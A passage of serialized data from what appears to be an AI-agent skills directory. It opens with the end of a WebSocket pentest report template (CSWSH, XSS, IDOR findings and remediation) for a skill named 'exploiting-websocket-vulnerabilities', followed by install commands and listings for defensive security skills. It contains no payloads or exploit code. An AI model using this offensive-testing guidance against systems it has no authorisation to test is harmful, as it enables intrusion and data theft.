Missing message-level authorization | High |\n| XSS via chat message injection | Medium |\n| No rate limiting on messages | Medium |\n| Channel IDOR (subscribe to any channel) | High |\n| WebSocket open after logout | Medium |\n\n### Impact\n- Private message exfiltration via CSWSH\n- Account impersonation through unauthorized message sending\n- Cross-channel data access affecting all users\n- DoS via message flooding (no rate limits)\n\n### Recommendation\n1. Validate the Origin header during WebSocket handshake\n2. Implement CSRF tokens in the WebSocket upgrade request\n3. Enforce authorization checks on every WebSocket message\n4. Sanitize all user input in WebSocket messages (prevent XSS\u002FSQLi)\n5. Implement message rate limiting per connection\n6. Invalidate WebSocket connections on logout or session expiration\n7. Use per-message authentication tokens rather than relying solely on the initial handshake\n```\n",{"name":5,"tags":50,"author":51,"domain":43,"license":15,"version":52,"nist_csf":53,"subdomain":36,"description":7,"mitre_attack":58},[39,31,33,38,30,32],"mahipal","1.0",[54,55,56,57],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[59,60,61,62,63],"T1190","T1059.007","T1505.003","T1083","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-websocket-vulnerabilities",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":75,"prompt":85,"zipAvailable":86},[76,79,82],{"tool":77,"command":78},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-websocket-vulnerabilities",{"tool":80,"command":81},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-websocket-vulnerabilities",{"tool":83,"command":84},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-websocket-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-websocket-vulnerabilities\u002FSKILL.md",true,[88,93,99],{"path":89,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":91,"sourceHtmlUrl":92},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-websocket-vulnerabilities\u002FLICENSE",{"path":94,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"references\u002Fapi-reference.md","REFERENCE","参考文档",2036,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-websocket-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":100,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"scripts\u002Fagent.py","SCRIPT","脚本",8467,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-websocket-vulnerabilities\u002Fscripts\u002Fagent.py",[106,131,155,180,206,232],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":113,"publishedAt":45},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[112],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[114,115,116,117,44,43,118,119,41,120,121,122,123,124,125,126,127,128,129,130],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":132,"name":133,"nameZh":6,"description":134,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":135,"categories":136,"keywords":138,"publishedAt":45},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[137],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[139,127,140,141,44,142,43,41,143,144,145,146,147,148,149,150,151,152,153,154],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":163,"publishedAt":45},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[161,162],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[149,164,165,166,37,43,167,168,143,169,170,171,172,173,174,175,176,177,178,179],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":181,"name":182,"nameZh":6,"description":183,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":184,"categories":185,"keywords":187,"publishedAt":45},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[186],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[188,189,190,43,191,192,193,194,195,196,197,198,199,200,201,202,146,203,204,205],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":207,"name":208,"nameZh":6,"description":209,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":210,"categories":211,"keywords":213,"publishedAt":45},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[212],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[28,214,215,43,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":233,"name":234,"nameZh":6,"description":235,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":236,"categories":237,"keywords":239,"publishedAt":45},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[238],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[44,240,43,241,242,243,244,245,246,247,248,175,249,176,250,251,252,253,254,255],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]